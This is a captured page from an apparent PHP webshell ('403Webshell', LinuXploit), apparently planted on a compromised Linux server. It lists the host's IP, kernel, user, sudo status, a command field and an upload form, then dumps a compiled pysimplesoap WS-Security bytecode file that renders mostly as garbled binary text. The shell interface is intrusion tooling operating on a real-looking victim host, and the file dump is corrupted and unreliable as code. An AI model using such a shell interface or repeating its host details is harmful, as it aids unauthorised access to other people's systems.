403Webshell
Server IP : 35.236.43.222  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux order-form-vm-001 5.10.0-37-cloud-amd64 #1 SMP Debian 5.10.247-1 (2025-12-11) x86_64
User : deploy ( 1002)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/pysimplesoap/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/pysimplesoap/__pycache__/wsse.cpython-39.pyc
a

�/$Z|(�@s�dZddlmZddlZejdkr*eZZddlZddl	m
Z
ddlZddlZddl
Z
ddlZddlmZmZmZmZddlmZddlZddlZdd	l
mZd
d�ZdZd
ZdZdZdZdZGdd�d�Z Gdd�de �Z!dZ"Gdd�d�Z#dS)zFPythonic simple SOAP Client plugins for WebService Security extensions�)�unicode_literalsN�3)�Decimal�)�
__author__�
__copyright__�__license__�__version__)�SimpleXMLElement)�sha1cCsd�dd�t|�D��S)N�css$|]}t���tjtj�VqdS�N)�randomZSystemRandomZchoice�stringZascii_uppercaseZdigits)�.0�_�r�3/usr/lib/python3/dist-packages/pysimplesoap/wsse.py�	<genexpr>$�zrandombytes.<locals>.<genexpr>)�join�range)�Nrrr�randombytes#srzQhttp://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdzRhttp://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdz"http://www.w3.org/2000/09/xmldsig#zUhttp://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509v3z^http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binaryzahttp://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-username-token-profile-1.0#PasswordDigestc@s*eZdZdZd
dd�Zdd�Zdd�Zd	S)�
UsernameTokenzGWebService Security extension to add a basic credentials to xml requestrcCsd||d�i|_dS)N�wsse:UsernameToken)�
wsse:Username�
wsse:Password)�token)�self�username�passwordrrr�__init__3s
��zUsernameToken.__init__c
CsF|d|d�}d}	|	|vr"||	|_|j|	|jddd�t||	�d<dS)z)Add basic credentials to outgoing message�Header��ns�
wsse:SecurityF)r%Zadd_children_ns�
xmlns:wsseN)rZmarshall�WSSE_URI)
r�client�request�method�args�kwargs�headers�soap_uri�header�krrr�
preprocess;s
zUsernameToken.preprocesscCsdS)zAnalyze incoming credentialsNr)rr)�responser+r,r-r.r/rrr�postprocessHszUsernameToken.postprocessN)rr)�__name__�
__module__�__qualname__�__doc__r"r2r4rrrrr0s

rc@s"eZdZdZd	dd�Zdd�ZdS)
�UsernameDigestTokenz�
    WebService Security extension to add a http digest credentials to xml request
    drift -> time difference from the server in seconds, needed for 'Created' header
    rrcCs||_||_tj|d�|_dS)N)Zseconds)r r!�datetimeZ	timedelta�drift)rr r!r;rrrr"SszUsernameDigestToken.__init__cCs�|d|d�}|jddd�}	t|	d<t|	d<|	jddd�}
|
jd|jdd�tj��|j��d	}|
jd
|dd�td�}|
jd|�	d
�dd�dd�}
t
|
d<t�}|�|||j
�|��}|
jd|�	d
�dd�dd�}t|d<dS)Nr#r$r&Fr'�	xmlns:wsurr�Zzwsu:Created�z
wsse:Nonce�base64����EncodingTyper�Type)Z	add_childr(�WSU_URIr r:Zutcnowr;Z	isoformatr�encode�Base64Binary_URIr�updater!�digest�PasswordDigest_URI)rr)r*r+r,r-r.r/r0�wsseZ	usertokenZcreatedZnonceZ	wssenonceZsha1objrGr!rrrr2Xs zUsernameDigestToken.preprocessN)rrr)r5r6r7r8r"r2rrrrr9Ms
r9aZ<?xml version="1.0" encoding="UTF-8"?>
<wsse:Security soapenv:mustUnderstand="1" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd">
    <wsse:BinarySecurityToken EncodingType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary" ValueType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509v3" wsu:Id="CertId-45851B081998E431E8132880700036719" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd">
%(certificate)s</wsse:BinarySecurityToken>
    <ds:Signature Id="Signature-13" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
        %(signed_info)s
        <ds:SignatureValue>%(signature_value)s</ds:SignatureValue>
        <ds:KeyInfo Id="KeyId-45851B081998E431E8132880700036720">
            <wsse:SecurityTokenReference wsu:Id="STRId-45851B081998E431E8132880700036821" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd">
                <wsse:Reference URI="#CertId-45851B081998E431E8132880700036719" ValueType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509v3"/>
            </wsse:SecurityTokenReference>
        </ds:KeyInfo>
    </ds:Signature>
</wsse:Security>
c@s4eZdZdZd
dd�Zdd�Zdd	�Zddd�ZdS)�BinaryTokenSignaturezEWebService Security extension to add a basic signature to xml requestrNcCs0d�dd�t|�D��|_||_||_||_dS)NrcSsg|]}|�d�s|�qS)z---)�
startswith)r�linerrr�
<listcomp>�s
�z1BinaryTokenSignature.__init__.<locals>.<listcomp>)r�open�certificate�private_keyr!�cacert)rrOrPr!rQrrrr"�szBinaryTokenSignature.__init__cCs�|d|d�}|d|d�}	d|d<t|d<|dd�D]\}
}|
�d�r4|||
<q4t|�}d	d
lm}
|
�|d|j|j�}|j|d<t	t
|�}|	�|�dS)
zSign the outgoing SOAP request�Bodyr$r#zid-14�wsu:Idr<N�xmlnsr��xmlsecz#id-14rO)rCrK�reprrrVZrsa_signrPr!rOr
�BIN_TOKEN_TMPLZimport_node)rr)r*r+r,r-r.r/�bodyr0�attr�value�ref_xmlrV�varsrIrrrr2�s

�
zBinaryTokenSignature.preprocesscCs�ddlm}|d|d�}	|d|d�}
|
dtd�}|dtd�}|�|dt�|�|d	t�t|��d
�}
|j|
dd�}|j	s�t
�d
�n|j|j	|
dd�s�t
d��|�|	dt�|	d}|dtd�}|dtd�}|dtd�}|�|dtd�dd|�|�|dtd�dtd�|�|dtd�dtd�dtd�|dd�D]\}}|�d��rH||	|<�qH|�t|	��}|�|�}t|dtd�dtd��}||k�r�t
d��t|d<t|�}|�|t|�|�}|�s�t
d ��dS)!z-Verify the signature of the incoming responserrUrRr$r#ZSecurityZBinarySecurityTokenrAZ	ValueTyper?T)Zbinaryz/No CA provided, WSSE not validating certificatez"WSSE certificate validation failedr<rSZ	SignatureZ
SignedInfoZSignatureValueZ	ReferenceZURI�#ZSignatureMethodZ	Algorithmzrsa-sha1ZDigestMethodrNrTZDigestValuezWSSE SHA1 hash digests mismatchz+WSSE RSA-SHA1 signature verification failed)rrVr(�_BinaryTokenSignature__checkrE�
X509v3_URI�str�decodeZx509_extract_rsa_public_keyrQ�warnings�warnZx509_verify�RuntimeErrorrC�XMLDSIG_URIrKZcanonicalizerWZsha1_hash_digestZ
rsa_verify)rr)r3r+r,r-r.r/rVrYr0rIZcertZcert_derZ
public_keyZref_uriZ	signatureZsigned_infoZsignature_valuerZr[r\Z
computed_hashZdigest_valueZxml�okrrrr4�sL��

z BinaryTokenSignature.postprocess�WSSE sanity check failedcCs||krt|��dSr
)re)rr[Zexpected�msgrrrZ__check�szBinaryTokenSignature.__check)rrNN)rh)r5r6r7r8r"r2r4r_rrrrrJs

4rJ)$r8Z
__future__r�sys�versionraZ
basestringZunicoder:Zdecimalr�osZloggingZhashlibrcrrrrr	Z	simplexmlr
rrrrr(rCrfr`rErHrr9rXrJrrrr�<module>
s4
"

Youez - 2016 - github.com/yon3zu
LinuXploit